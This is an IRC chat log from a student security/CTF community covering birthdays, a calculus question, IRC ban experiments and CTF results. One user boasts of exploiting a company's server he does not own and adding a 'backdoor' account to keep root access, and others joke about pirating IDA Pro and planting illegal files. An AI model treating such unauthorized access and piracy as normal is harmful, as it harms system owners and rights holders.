[2015-04-28T21:21:04-0400] <z3t> Protest is heating up
[2015-04-28T21:21:11-0400] <JacobEdelman> With 1064 in the second place it's always dramatic
[2015-04-28T21:21:31-0400] <JacobEdelman> (Also voice recognition for text is awesome)
[2015-04-28T21:22:26-0400] <sdamashek> gogo nezorg solve VenoM :P
[2015-04-28T21:28:33-0400] <z3t> I wonder when sCTF q2 is...
[2015-04-28T21:31:50-0400] <JacobEdelman> Baltimore  live stream YouTube (https://youtu.be/hIIYrEMvZMU)
[2015-04-28T23:46:00-0400] <+awe> JacobEdelman: https://twitter.com/rmsthebot
[2015-04-29T00:08:33-0400] <apothy> sdamashek: Happy birthday :D
[2015-04-29T00:08:41-0400] <sdamashek> apothy: thanks :D
[2015-04-29T00:09:27-0400] <LittleBobbyTables> HAPPY BIRTHDAY SDASMASHK
[2015-04-29T00:19:26-0400] <+awe> sdamashek: happy birthday, friend!
[2015-04-29T00:22:51-0400] <sdamashek> thank you LittleBobbyTables/awe :D
[2015-04-29T06:31:47-0400] <JacobEdelman> Gmorning all and Happy birthday sdamashek 
[2015-04-29T07:11:38-0400] <sdamashek> thanks jacob
[2015-04-29T12:02:38-0400] <JacobEdelman> agh!
[2015-04-29T12:02:41-0400] <JacobEdelman> health class is dumb
[2015-04-29T12:02:56-0400] <JacobEdelman> and much of the material has been scientificaly falsfied
[2015-04-29T13:03:47-0400] <jwoglom> heh, my sophomore year quarter of health (as part of gym class) was a joke
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[2015-04-29T15:43:54-0400] <z3t> downside to not actually owning the box you use: random restarts
[2015-04-29T15:44:11-0400] <+awe> z3t: who's box is it?
[2015-04-29T15:44:19-0400] <z3t> some company
[2015-04-29T15:44:21-0400] <z3t> not sure
[2015-04-29T15:44:31-0400] <+awe> How'd you get it?
[2015-04-29T15:45:14-0400] <z3t> They left a few things open, I kindly exploited that.
[2015-04-29T15:46:05-0400] <+awe> So, backdoor as your username is no joke.
[2015-04-29T15:47:22-0400] <z3t> I literally made a user called "backdoor" in case I lose access to the root account
[2015-04-29T15:47:24-0400] <z3t> So yeah
[2015-04-29T15:58:02-0400] <jwoglom> Like they wouldn't notice that if they noticed the root account
[2015-04-29T15:58:04-0400] <jwoglom> Lol
[2015-04-29T16:00:26-0400] <+awe> jwoglom: it could just be the case that they change the root password.
[2015-04-29T16:00:36-0400] <+awe> jwoglom: not because they notice him, just because.
[2015-04-29T16:00:40-0400] <jwoglom> True
[2015-04-29T16:00:57-0400] <jwoglom> But an account named "backdoor" isn't exactly hiding its meaning
[2015-04-29T16:01:38-0400] <+awe> It doesn't sound like they're very competent, or that z3t is worried about that.
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[2015-04-29T16:08:45-0400] <jwoglom> Of course
[2015-04-29T16:21:26-0400] <z3t> This box is weird though, 'free -g' tells me I have 8191gb of memory free right now.
[2015-04-29T16:22:34-0400] <+awe> z3t: what's weird about that?
[2015-04-29T16:22:39-0400] <+awe> Oh.
[2015-04-29T16:22:41-0400] <+awe> 8,191 gigs.
[2015-04-29T16:22:42-0400] <+awe> Lol.
[2015-04-29T16:22:50-0400] <+awe> I was just like "8 gigs, what's weird about that?"
[2015-04-29T16:23:06-0400] <z3t> yeah...
[2015-04-29T16:23:23-0400] <+awe> z3t: what does free -h show?
[2015-04-29T16:23:45-0400] <z3t> free: invalid option -- 'h'
[2015-04-29T16:23:52-0400] <+awe> What?
[2015-04-29T16:23:57-0400] <+awe> -h should be human-readable.
[2015-04-29T16:24:47-0400] <z3t> I'll run an update, sec...
[2015-04-29T16:26:37-0400] <z3t> So there's about 200 packages it was updating, but I'm getting an error saying it can't allocate memory to update them.
[2015-04-29T16:28:04-0400] <jwoglom> Not all versions of free (on some Unixes) have the -h flag
[2015-04-29T16:28:59-0400] <+awe> Yeah, I guess it might not be a linux box.
[2015-04-29T16:33:17-0400] <z3t> CentOS release 6.6 (Final)
[2015-04-29T16:33:33-0400] <+awe> Huh.
[2015-04-29T16:43:46-0400] <z3t> http://arstechnica.com/business/2015/04/28/after-a-bot-finds-twitters-financial-results-early-stock-plunges-18/
[2015-04-29T16:43:48-0400] <z3t> Ah, bots.
[2015-04-29T17:00:48-0400] <bob_twinkles> $1.5 B dollars?
[2015-04-29T17:01:16-0400] <bob_twinkles> that's a lot of money
[2015-04-29T17:04:31-0400] <jwoglom> i wonder how much longer it will be until the industry realizes that companies with users but no profit model will just continue to lose money
[2015-04-29T17:04:37-0400] <jwoglom> and not magically become profitable
[2015-04-29T17:06:01-0400] <bob_twinkles> how does twitter even manage to not lose all their money
[2015-04-29T17:27:58-0400] <fwilson> Tamini / Tamini_ I recorded most of what i was doing after you left
[2015-04-29T17:28:21-0400] <fwilson> except uncompressed
[2015-04-29T17:28:34-0400] <fwilson> so if you'd like that it's a big file
[2015-04-29T17:29:12-0400] <fwilson> also yeah you're probably right about attendance
[2015-04-29T17:29:15-0400] <fwilson> i was marked present
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[2015-04-29T18:01:52-0400] <+awe> Okay, guys. I'm really confused about this.
[2015-04-29T18:01:57-0400] <+awe> I need some math assistance.
[2015-04-29T18:02:22-0400] <z3t> sup
[2015-04-29T18:02:34-0400] <+awe> I have two functions of two variables and I want to find the global maximum.
[2015-04-29T18:02:58-0400] <+awe> On a restricted domain.
[2015-04-29T18:03:16-0400] <+awe> And I don't want to do calculus.
[2015-04-29T18:03:26-0400] <bob_twinkles> up until that last part this was easy
[2015-04-29T18:03:36-0400] <+awe> Well, I guess I *can* do calculus.
[2015-04-29T18:03:43-0400] <+awe> It's for my probability class.
[2015-04-29T18:04:02-0400] <bob_twinkles> so they're discrete functions?
[2015-04-29T18:04:03-0400] <+awe> Specifically, finding nash equilibria for mixed probability strategies.
[2015-04-29T18:04:05-0400] <+awe> YEah.
[2015-04-29T18:04:14-0400] <+awe> Erm, no.
[2015-04-29T18:04:26-0400] <+awe> They're not discrete.
[2015-04-29T18:04:34-0400] <+awe> They're probabilities.
[2015-04-29T18:04:39-0400] <+awe> Well, functions of probabilities.
[2015-04-29T18:05:30-0400] <+awe> He did something similar in class by graphing the two functions and the max value of both functions and then hand-waving.
[2015-04-29T18:05:49-0400] <bob_twinkles> how are the 2 functions combined?
[2015-04-29T18:05:56-0400] <+awe> Hm?
[2015-04-29T18:06:01-0400] <+awe> What do you mean?
[2015-04-29T18:06:15-0400] <bob_twinkles> like, is it 2 different problems or do the functions interact in some way
[2015-04-29T18:06:25-0400] <+awe> The functions interact in that they use the same variables.
[2015-04-29T18:06:31-0400] <+awe> So, one function changes the value of the other function.
[2015-04-29T18:06:39-0400] <+awe> Erm.
[2015-04-29T18:06:47-0400] <+awe> That's not really right, but I hope you understand what I mean.
[2015-04-29T18:06:58-0400] <bob_twinkles> I haven't the faintest idea =P
[2015-04-29T18:07:18-0400] <+awe> The parameters to each function have to be the same.
[2015-04-29T18:07:29-0400] <bob_twinkles> and you want the max combined output?
[2015-04-29T18:07:48-0400] <+awe> I want the point where decreasing either parameter would cause both functions to decrease.
[2015-04-29T18:08:05-0400] <+awe> Rather, changing either parameter.
[2015-04-29T18:08:06-0400] <+awe> Not just decreasing it.
[2015-04-29T18:08:13-0400] <fwilson> graph them
[2015-04-29T18:08:16-0400] <fwilson> in 3d
[2015-04-29T18:08:18-0400] <fwilson> and look at the graph
[2015-04-29T18:08:20-0400] <fwilson> i'm so helpful ik
[2015-04-29T18:08:23-0400] <fwilson> you don't have to thank me
[2015-04-29T18:08:24-0400] <+awe> I knew that.
[2015-04-29T18:08:29-0400] <+awe> I just don't know what I'm actually looking for.
[2015-04-29T18:08:32-0400] <bob_twinkles> my intuition says that that's only going to work for a very specific class of functions
[2015-04-29T18:08:41-0400] <+awe> bob_twinkles: This should be a very specific class of functions lol
[2015-04-29T18:08:50-0400] <jwoglom> use a computer instead of your brain
[2015-04-29T18:08:54-0400] <+awe> jwoglom: I did.
[2015-04-29T18:08:55-0400] <bob_twinkles> heh, fair enough
[2015-04-29T18:08:56-0400] <jwoglom> this tidbit of math advice is brought to you by jwoglom
[2015-04-29T18:09:34-0400] <bob_twinkles> I mean, it should just be df / dx = 0 and df / dy = 0 (where d is actually partial but less hard to type)
[2015-04-29T18:09:45-0400] <bob_twinkles> and then you pick the solution to that which works for both functions
[2015-04-29T18:10:37-0400] <bob_twinkles> *waves hands about shouting "sufficiently well behaved"
[2015-04-29T18:10:47-0400] <+awe> bob_twinkles: ∂
[2015-04-29T18:10:50-0400] <+awe> bob_twinkles: that wasn't hard to type. ;)
[2015-04-29T18:10:56-0400] <+awe> option+d
[2015-04-29T18:10:58-0400] <bob_twinkles> don't you OSX though
[2015-04-29T18:11:00-0400] <bob_twinkles> yeah
[2015-04-29T18:11:01-0400] <+awe> ∂/∂x
[2015-04-29T18:11:02-0400] <+awe> :)
[2015-04-29T18:11:05-0400] • bob_twinkles: waves from X11 land
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[2015-04-29T18:11:19-0400] <bob_twinkles> it's great out here, unless you need something not ascii
[2015-04-29T18:12:05-0400] <+awe> bob_twinkles: so, if there's no point where ∂f/∂x = ∂g/∂x = 0 and ∂f/∂y = ∂g/∂y = 0, then there's no such point?
[2015-04-29T18:12:28-0400] <+awe> bob_twinkles: which means that there's no mixed nash equilibria.
[2015-04-29T18:12:44-0400] <bob_twinkles> given a sufficiently well behaved function, yeah (i.e. the function is differrentiable across your domain)
[2015-04-29T18:13:00-0400] <+awe> Yeah, it's just a plane.
[2015-04-29T18:13:19-0400] <bob_twinkles> it's basically an extension of the finding maxima technique you were (probably) introduced to in single variable calculus
[2015-04-29T18:13:31-0400] <bob_twinkles> you find the points where the rate of change is 0 and those are your extrema
[2015-04-29T18:13:58-0400] <+awe> I wonder if they're going to laugh when they see calculus.
[2015-04-29T18:14:38-0400] <bob_twinkles> I mean, if you know even introductary-level calculus it's the obvious way to solve this sort of thing...
[2015-04-29T18:14:55-0400] <bob_twinkles> until they hand you a discrete function, then you're just screwed
[2015-04-29T18:17:52-0400] <+awe> "What is the Nash equilibrium where both players use a mixed strategy? Show your working.
[2015-04-29T18:17:52-0400] <+awe> What are the expected payoffs for each player for this equilibrium?"
[2015-04-29T18:17:54-0400] <+awe> But....
[2015-04-29T18:17:57-0400] <+awe> My findings are that there isn't one.
[2015-04-29T18:18:36-0400] <+awe> The only possibility is that I messed these functions up, but it doesn't look like it.
[2015-04-29T18:20:21-0400] <+awe> Just checked with Wolfram Alpha, those functions are not wrong.
[2015-04-29T18:20:48-0400] <+awe> bob_twinkles: are you positive that this solution makes sense?
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[2015-04-29T18:26:10-0400] <+awe> It is necessarily the case that the maximum of a function is the point where all partials are zero.
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[2015-04-29T18:33:35-0400] <Tamini_> fwilson: yes please
[2015-04-29T18:33:41-0400] <Tamini_> live was super nice too
[2015-04-29T18:34:19-0400] <fwilson> :o
[2015-04-29T18:34:21-0400] <fwilson> yay
[2015-04-29T18:34:23-0400] <fwilson> ok one sec
[2015-04-29T18:34:52-0400] <fwilson> >remaining export time: 03:39
[2015-04-29T18:34:55-0400] <fwilson> T_T
[2015-04-29T18:36:11-0400] <Tamini_> LOL
[2015-04-29T18:37:15-0400] <fwilson> down to 1:16
[2015-04-29T18:37:20-0400] <fwilson> minutes:seconds btw
[2015-04-29T18:37:33-0400] <jwoglom> * 1 hour later
[2015-04-29T18:38:34-0400] <Tamini_> heh
[2015-04-29T18:38:46-0400] <fwilson> dear freebsd
[2015-04-29T18:38:48-0400] <fwilson> pls no
[2015-04-29T18:38:51-0400] <fwilson> sincerely,
[2015-04-29T18:38:53-0400] <fwilson> --
[2015-04-29T18:38:55-0400] <fwilson> fox wilson
[2015-04-29T18:39:13-0400] <fwilson> anyway Tamini_ https://i.fwilson.me/30minutes.mp3
[2015-04-29T18:39:17-0400] <fwilson> the first few minutes are repetitive
[2015-04-29T18:39:39-0400] <kenzierocks> 30minutes.mp3
[2015-04-29T18:39:43-0400] <kenzierocks> #goodnames
[2015-04-29T18:39:56-0400] <Tamini_> its just one file? loool
[2015-04-29T18:41:12-0400] <Tamini_> i like the beginning a lot whoa
[2015-04-29T18:42:04-0400] <Tamini_> also I can hear you mess up a little :3
[2015-04-29T18:45:49-0400] <fwilson> Tamini_: yeah, i might go back next week and make more music
[2015-04-29T18:45:56-0400] <fwilson> kenzierocks: it's 30 minutes long, lol
[2015-04-29T18:46:07-0400] <Tamini_> isnt the room nice though
[2015-04-29T18:46:15-0400] <Tamini_> I feel like even that was one of the crappier pianos
[2015-04-29T18:46:24-0400] <Tamini_> and it was still leagues better than the syslab one
[2015-04-29T18:46:37-0400] <jwoglom> well, the syslab one is on the verge of even being considered a piano
[2015-04-29T18:48:14-0400] <fwilson> Tamini_: the room is great
[2015-04-29T18:48:17-0400] <fwilson> nobody bothered me
[2015-04-29T18:48:19-0400] <fwilson> well
[2015-04-29T18:48:22-0400] <fwilson> except for the guy who wanted his guitar back
[2015-04-29T18:48:29-0400] <Tamini_> LOL
[2015-04-29T18:48:32-0400] <jwoglom> it is a practice room, lol
[2015-04-29T18:48:32-0400] <Tamini_> who?
[2015-04-29T18:48:35-0400] <Tamini_> kayvon?
[2015-04-29T18:48:35-0400] <fwilson> idk
[2015-04-29T18:48:50-0400] <Tamini_> he was playing in the audlob this morning
[2015-04-29T18:48:52-0400] <Tamini_> it was glorious
[2015-04-29T18:49:02-0400] <Tamini_> and heh, your recording doesnt show it though
[2015-04-29T18:49:50-0400] <fwilson> yeah, i started after
[2015-04-29T18:50:07-0400] <fwilson> that's about 3:25 -> 3:55
[2015-04-29T18:51:33-0400] <Tamini_> ah okay
[2015-04-29T19:05:42-0400] <bob_twinkles> awe: not necissairly the maximum, but all extrema have 0 partials in all directions when the function plays nice
[2015-04-29T19:06:10-0400] <bob_twinkles> unless I've forgotten more of multivar than I thought...
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[2015-04-29T19:09:31-0400] <+awe> bob_twinkles: I didn't say that that point had to necessarily be the maximum.
[2015-04-29T19:09:47-0400] <+awe> bob_twinkles: I said it's necessarily the case that the maximum is such a point where all partials are 0.
[2015-04-29T19:09:55-0400] <+awe> bob_twinkles: (given the function is defined)
[2015-04-29T19:10:22-0400] <bob_twinkles> not just defined, but also differrentiable
[2015-04-29T19:10:30-0400] <+awe> Erm, yeah.
[2015-04-29T19:11:09-0400] <bob_twinkles> are you sure that's the case?
[2015-04-29T19:12:58-0400] <+awe> They're linear functions.
[2015-04-29T19:13:15-0400] <+awe> 3xy - 2x - y + 4 and 2xy + x - y + 2
[2015-04-29T19:13:46-0400] <JacobEdelman> You only need a tiny but of calculus...
[2015-04-29T19:14:29-0400] <fwilson> hahahahaha JacobEdelman said butt
[2015-04-29T19:14:32-0400] <fwilson> huehueheu
[2015-04-29T19:14:36-0400] <jwoglom> hahaha fwilson did too
[2015-04-29T19:14:39-0400] <fwilson> hahahahaha
[2015-04-29T19:14:41-0400] <fwilson> hahahahahhahahahahhahaha
[2015-04-29T19:14:45-0400] <kenzierocks> hahahahahahahahahahah
[2015-04-29T19:14:56-0400] <fwilson> hahahahahahahahhaahahahahha
[2015-04-29T19:14:58-0400] <JacobEdelman> Lol
[2015-04-29T19:15:03-0400] <jwoglom> hahahahuehuehuehuehahahahuehuehue
[2015-04-29T19:15:06-0400] <fwilson> huehuehauehuaheuheubr
[2015-04-29T19:15:13-0400] <+awe>  /ban *@*!*
[2015-04-29T19:15:24-0400] <fwilson> awe: ok
[2015-04-29T19:15:25-0400] <fwilson> go for it
[2015-04-29T19:15:38-0400] <jwoglom> awe: i don't think that would go over very well for you either
[2015-04-29T19:15:38-0400] <+awe> I'm obviously not actually going to ban everyone. :p
[2015-04-29T19:15:41-0400] <fwilson> do it
[2015-04-29T19:15:44-0400] <fwilson> 7/10 threats
[2015-04-29T19:15:59-0400] <jwoglom> you've to to show your manliness
[2015-04-29T19:16:02-0400] <+awe>  /ban fwilson@*!*
[2015-04-29T19:16:02-0400] <jwoglom> by actually going through with it
[2015-04-29T19:16:06-0400] <fwilson> go for it
[2015-04-29T19:16:19-0400] <kenzierocks> 10/12 threats
[2015-04-29T19:16:26-0400] <+awe> I'd have to oper for that. I'm too lazy.t
[2015-04-29T19:16:29-0400] <+awe> -t
[2015-04-29T19:16:38-0400] <fwilson> i can't op you awe
[2015-04-29T19:16:39-0400] <jwoglom> why is this channel +t anyways
[2015-04-29T19:16:46-0400] <jwoglom> this is why we need the bot network
[2015-04-29T19:16:49-0400] <fwilson> actually
[2015-04-29T19:16:51-0400] <fwilson> yeah
[2015-04-29T19:16:51-0400] <jwoglom> think of how much simpler it would make everything
[2015-04-29T19:16:53-0400] <fwilson> let's do that
[2015-04-29T19:17:04-0400] <+awe> I can oper by just /msg ChanServ oper
[2015-04-29T19:17:11-0400] ChanServ sets mode +o awe
[2015-04-29T19:17:15-0400] <fwilson> ok
[2015-04-29T19:17:15-0400] <@awe> Erm, op.
[2015-04-29T19:17:15-0400] <kenzierocks> w0w
[2015-04-29T19:17:15-0400] <jwoglom> awe: or with /czar op
[2015-04-29T19:17:16-0400] <@awe> op #pdgn
[2015-04-29T19:17:17-0400] <fwilson> now you can ban me!
[2015-04-29T19:17:21-0400] <fwilson> awe: join #sovietrussia
[2015-04-29T19:17:21-0400] awe sets mode +b *!affiliated@pdgn-iio.q5k.uc24op.IP
[2015-04-29T19:17:24-0400] <@awe> :)
[2015-04-29T19:17:53-0400] <bob_twinkles> 10 10 fwilson 
[2015-04-29T19:18:01-0400] <bob_twinkles> now you just need to make sure your bouncer never goes down
[2015-04-29T19:18:10-0400] awe sets mode -b *!affiliated@pdgn-iio.q5k.uc24op.IP
[2015-04-29T19:18:15-0400] ChanServ sets mode -o awe
[2015-04-29T19:18:15-0400] <kenzierocks> /kick fwilson
[2015-04-29T19:18:18-0400] <fwilson> i would disconnect and reconnect
[2015-04-29T19:18:20-0400] <fwilson> and change my ident
[2015-04-29T19:18:25-0400] <fwilson> but 13 days connection
[2015-04-29T19:18:35-0400] <jwoglom> why do we have hidden ips anyway
[2015-04-29T19:18:43-0400] <jwoglom> it's not like we would haxor each other
[2015-04-29T19:18:45-0400] <jwoglom> oh wait
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[2015-04-29T19:19:58-0400] <fwilson> dank
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[2015-04-29T19:20:10-0400] <fwilson> awe: wait, ban me again?
[2015-04-29T19:20:14-0400] <+awe>  Why?
[2015-04-29T19:20:18-0400] <fwilson> i want to try something
[2015-04-29T19:20:29-0400] ChanServ sets mode +o awe
[2015-04-29T19:20:32-0400] awe sets mode +b *!affiliated@pdgn-iio.q5k.uc24op.IP
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[2015-04-29T19:20:39-0400] <@awe> Yes, it suffices to remove host mask.
[2015-04-29T19:20:56-0400] awe sets mode -b *!affiliated@pdgn-iio.q5k.uc24op.IP
[2015-04-29T19:20:59-0400] <jwoglom> i like how well it hid your hostmask
[2015-04-29T19:20:59-0400] ChanServ sets mode -o awe
[2015-04-29T19:21:00-0400] <fwilson> i was actually still ban
[2015-04-29T19:21:23-0400] • kenzierocks: is behind a commercial znc so IP is hidden anyways
[2015-04-29T19:22:22-0400] <fwilson> doesn't matter
[2015-04-29T19:26:15-0400] <+awe> fwilson: Oh, interesting.
[2015-04-29T19:26:24-0400] kenzierocks has userhost kenzierocks@pdgn-4km.pg3.oqpiq3.IP and real name “kenzierocks”
[2015-04-29T19:26:24-0400] kenzierocks is connecting from kenzierocks@1.ipv4.kilo.yourbnc.co.uk 104.207.150.230
[2015-04-29T19:26:24-0400] kenzierocks is on #pdgn ~#plaid @#java 
[2015-04-29T19:26:24-0400] kenzierocks is connected on columba.pdgn.co (The Pdgn Network)
[2015-04-29T19:26:24-0400] kenzierocks is using modes +rx
[2015-04-29T19:26:24-0400] kenzierocks is using a secure connection
[2015-04-29T19:26:24-0400] kenzierocks is logged in as kenzierocks
[2015-04-29T19:26:24-0400] kenzierocks is a registered nick
[2015-04-29T19:26:24-0400] kenzierocks signed on at April 13, 2015 at 7:37:37 AM EDT and has been idle for 5 minutes, 1 second
[2015-04-29T19:26:30-0400] <+awe> kenzierocks: Indeed, you are.
[2015-04-29T19:48:07-0400] <+awe> Hey, guys. I won a Chipotle gift card for participating in a survey about drug and alcohol consumption.
[2015-04-29T19:48:17-0400] <kenzierocks> lol
[2015-04-29T19:49:20-0400] <+awe> It seems like it'd be appropriate to get high, and then go eat the burrito they paid for.
[2015-04-29T19:49:56-0400] <jwoglom> well, were you being truthful in that survey about your habits? :P
[2015-04-29T19:50:16-0400] <+awe> Yeah, I was.
[2015-04-29T19:50:41-0400] <+awe> The questions were like "In the last thirty days, have you smoked marijuana?" and it just so happened that I hadn't when they asked.
[2015-04-29T19:50:46-0400] <+awe> I did like three days later though.
[2015-04-29T19:50:49-0400] <kenzierocks> lol
[2015-04-29T19:51:07-0400] <+awe> Well, okay, that's not exactly how they said it.
[2015-04-29T19:51:44-0400] <+awe> It was "Have you ever smoked marijuana?" and the answers were "No." "Yes, but not in the last year." "Yes, but not in the last thirty days." "Yes, but not in the last week." "Yes, this week."
[2015-04-29T19:52:18-0400] <+awe> Same with drinking alcohol, and prescription drugs, and so on.
[2015-04-29T20:12:17-0400] <LittleBobbyTables> Apparently, I broke "command-not-found"...
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[2015-04-29T20:43:03-0400] <kenzierocks> "Striptease has become less interesting since they did away with the costumes. It’s become Newtonian. The movement of bodies through space, period. It can get boring."
[2015-04-29T20:45:09-0400] <LittleBobbyTables> Prove it
[2015-04-29T20:45:31-0400] <kenzierocks> ask margaret atwood
[2015-04-29T20:45:38-0400] <kenzierocks> it's her quote
[2015-04-29T20:45:54-0400] <LittleBobbyTables> ;c
[2015-04-29T20:49:57-0400] <LittleBobbyTables> https://youtu.be/YG0bUmuj4tg?t=53m57s
[2015-04-29T20:50:18-0400] <LittleBobbyTables> "if we can get to the moon, we can create an unbreakable encryption system"
[2015-04-29T20:51:38-0400] <kenzierocks> lol
[2015-04-29T20:59:33-0400] <+awe> LittleBobbyTables: https://www.dropbox.com/s/4i4zfunwtdzm0ct/Screenshot%202015-04-29%2020.59.27.png?dl=0
[2015-04-29T21:00:08-0400] <LittleBobbyTables> k.
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[2015-04-29T21:04:31-0400] <kenzierocks> awe: link plz
[2015-04-29T21:04:40-0400] <+awe> http://stackoverflow.com/questions/184618/what-is-the-best-comment-in-source-code-you-have-ever-encountered/378987#378987
[2015-04-29T21:04:48-0400] <+awe> Well, this is the thread and some random comment in it that I'm reading.
[2015-04-29T21:04:52-0400] <kenzierocks> https://i.4cdn.org/f/Tumbling%20Down.swf
[2015-04-29T21:08:48-0400] <bob_twinkles> kenzierocks: they uh...
[2015-04-29T21:08:52-0400] <bob_twinkles> that's not the right music for that
[2015-04-29T21:18:17-0400] <LittleBobbyTables> Is it supposed to be super shitty quality
[2015-04-29T21:18:26-0400] <LittleBobbyTables> I can count the pixels in this wtf
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[2015-04-29T21:18:49-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=bU1QPtOZQZU
[2015-04-29T21:18:51-0400] <LittleBobbyTables> There's the youtube
[2015-04-29T21:19:15-0400] <kenzierocks> ah
[2015-04-29T21:19:32-0400] <kenzierocks> different music
[2015-04-29T21:21:03-0400] <kenzierocks> https://www.youtube.com/watch?v=0pF9ilPFBzs
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[2015-04-29T22:21:13-0400] <alokpathy> sdamashek: It's okay
[2015-04-29T22:21:15-0400] <kenzierocks> 10 points if anyone guesses why
[2015-04-29T22:21:18-0400] <alokpathy> I'll give you two slices of my birthday cake
[2015-04-29T22:21:21-0400] <alokpathy> and we'll be even-ish
[2015-04-29T22:21:23-0400] <alokpathy> :)
[2015-04-29T22:21:25-0400] <Tamini_> alokpathy: I want a slice we
[2015-04-29T22:21:28-0400] <Tamini_> and also dude
[2015-04-29T22:21:29-0400] <alokpathy> kenzierocks: Because you like cherry pie :D
[2015-04-29T22:21:29-0400] <sdamashek> Tamini_: I think you have to file a complaint with my parents about that
[2015-04-29T22:21:37-0400] <kenzierocks> alokpathy: no, because i won tjctf :D
[2015-04-29T22:21:45-0400] <Tamini_> I went on a walk with my best friend today
[2015-04-29T22:21:47-0400] <alokpathy> kenzierocks: Congrats!
[2015-04-29T22:21:52-0400] <Tamini_> and she was teaching me guard throws
[2015-04-29T22:21:57-0400] <LittleBobbyTables> sdamashek: you don't give your resident troll a slice? :(
[2015-04-29T22:21:59-0400] <Tamini_> and I basically invented the rocket
[2015-04-29T22:22:01-0400] <alokpathy> Dang Raelly got rekt in TJCTF
[2015-04-29T22:22:04-0400] <alokpathy> It's like they didn't even compete
[2015-04-29T22:22:06-0400] <Tamini_> :P
[2015-04-29T22:22:12-0400] <Tamini_> well, we had all the flags
[2015-04-29T22:22:25-0400] <alokpathy> So you guys flag hoarded really badly
[2015-04-29T22:22:27-0400] <alokpathy> smhsmh
[2015-04-29T22:22:43-0400] <alokpathy> You're supposed to submit them before the contest ends :P
[2015-04-29T22:22:44-0400] <Tamini_> we flag hoarded so much and never submitted
[2015-04-29T22:22:59-0400] <alokpathy> Derp gg
[2015-04-29T22:23:19-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=7foyEkOuQP4
[2015-04-29T22:23:20-0400] <kenzierocks> http://stackoverflow.com/a/778722/436524
[2015-04-29T22:24:19-0400] <sdamashek> damn we forgot
[2015-04-29T22:24:21-0400] <sdamashek> :(
[2015-04-29T22:26:07-0400] <z3t> ugh I hate json
[2015-04-29T22:26:20-0400] <jwoglom> why?
[2015-04-29T22:26:30-0400] <z3t> it's being annoying :(
[2015-04-29T22:29:25-0400] <LittleBobbyTables> You're doing it wrong.
[2015-04-29T22:32:14-0400] <z3t> yeah probably
[2015-04-29T22:34:44-0400] <bob_twinkles> z3t: are you using a library to parse it?
[2015-04-29T22:37:51-0400] <LittleBobbyTables> Anyone wanna write me a "decently worded proposal to get the CISO to buy IDA"?
[2015-04-29T22:38:58-0400] <sdamashek> "buy me IDA so I can haxxor all the script kiddies and put child porn on their computers"
[2015-04-29T22:40:01-0400] <LittleBobbyTables> Ahh, sounds like a great idea.
[2015-04-29T22:42:07-0400] <sdamashek> I know
[2015-04-29T22:42:28-0400] <sdamashek> you can thank me when you have a full subscription of IDA pro with HexRays
[2015-04-29T22:43:46-0400] <Tamini_> you can thank him by giving us copies
[2015-04-29T22:45:16-0400] <LittleBobbyTables> I'll sell each of you guys copies for 100 bucks.
[2015-04-29T22:45:27-0400] <LittleBobbyTables> It'll be the pro version, so you're getting a great deal.
[2015-04-29T22:45:34-0400] <Tamini_> heh
[2015-04-29T22:45:57-0400] <Tamini_> sdamashek: we can tell ahamilto to get us ida through this entirely legitimate source!
[2015-04-29T22:46:23-0400] <sdamashek> LittleBobbyTables: do you happen to have a front company
[2015-04-29T22:46:38-0400] <LittleBobbyTables> My PayPal says I sell rare Pokemon cards.
[2015-04-29T22:47:02-0400] <LittleBobbyTables> They didn't question it when I got 10 payments of 600 each.
[2015-04-29T23:03:06-0400] <LittleBobbyTables> sdamashek: would you be down
[2015-04-29T23:03:35-0400] <sdamashek> LittleBobbyTables: hey, it's better than paying nothing for it, right? :P
[2015-04-29T23:03:48-0400] <LittleBobbyTables> Of course!
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[2015-04-29T23:35:14-0400] <kenzierocks> i am the proud owner of ################################################## on espernet
[2015-04-29T23:35:25-0400] <bob_twinkles> nice
[2015-04-29T23:35:38-0400] <bob_twinkles> any reason, or just so you can have that many #s
[2015-04-29T23:36:19-0400] <kenzierocks> total count
[2015-04-29T23:36:25-0400] <kenzierocks> lemme see pdgns limit
[2015-04-29T23:36:47-0400] <bob_twinkles> ah
[2015-04-29T23:37:52-0400] <kenzierocks> ###########################################################
[2015-04-29T23:37:53-0400] <kenzierocks> ##################################################
[2015-04-29T23:38:02-0400] <kenzierocks> first pdgn, second esper
[2015-04-29T23:38:22-0400] <kenzierocks> ....and it's mine
[2015-04-29T23:38:39-0400] <bob_twinkles> 'grats
[2015-04-29T23:38:43-0400] <bob_twinkles> I wonder how freenode does...
[2015-04-29T23:38:56-0400] <kenzierocks> you wanna test or shall i
[2015-04-29T23:39:11-0400] <bob_twinkles> 44.##################################################│
[2015-04-29T23:39:16-0400] <bob_twinkles> lol there's people in there
[2015-04-29T23:39:20-0400] <kenzierocks> wow
[2015-04-29T23:39:26-0400] <bob_twinkles> err, too much weechat cruft
[2015-04-29T23:39:33-0400] <bob_twinkles> ##################################################
[2015-04-29T23:39:57-0400] <bob_twinkles> huh, I wonder why pdgn is configured to be longer
[2015-04-29T23:40:03-0400] <sdamashek> I own a few # channels
[2015-04-29T23:40:51-0400] <sdamashek> actually no, I DROPped them because I hit my channel limit
[2015-04-29T23:42:11-0400] <bob_twinkles> http://lpaste.net/6191902862851702784
[2015-04-29T23:42:13-0400] <bob_twinkles> ups
[2015-04-29T23:42:37-0400] <LittleBobbyTables> Are you sure I wasn't the one that DROPped them, sdamashek ?
[2015-04-29T23:42:50-0400] <sdamashek> I remember doing it now :P
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[2015-04-30T02:07:58-0400] <LittleBobbyTables> ohhey
[2015-04-30T02:08:03-0400] <LittleBobbyTables> VirtualBox started up...
[2015-04-30T06:40:22-0400] <fwilson> LittleBobbyTables: congratulations
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[2015-04-30T11:07:24-0400] <JacobEdelman> gmorning all
[2015-04-30T11:07:29-0400] <JacobEdelman> gmorning all
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[2015-04-29T22:26:30-0400] <z3t> it's being annoying :(
[2015-04-29T22:29:25-0400] <LittleBobbyTables> You're doing it wrong.
[2015-04-29T22:32:14-0400] <z3t> yeah probably
[2015-04-29T22:34:44-0400] <bob_twinkles> z3t: are you using a library to parse it?
[2015-04-29T22:37:51-0400] <LittleBobbyTables> Anyone wanna write me a "decently worded proposal to get the CISO to buy IDA"?
[2015-04-29T22:38:58-0400] <sdamashek> "buy me IDA so I can haxxor all the script kiddies and put child porn on their computers"
[2015-04-29T22:40:01-0400] <LittleBobbyTables> Ahh, sounds like a great idea.
[2015-04-29T22:42:07-0400] <sdamashek> I know
[2015-04-29T22:42:28-0400] <sdamashek> you can thank me when you have a full subscription of IDA pro with HexRays
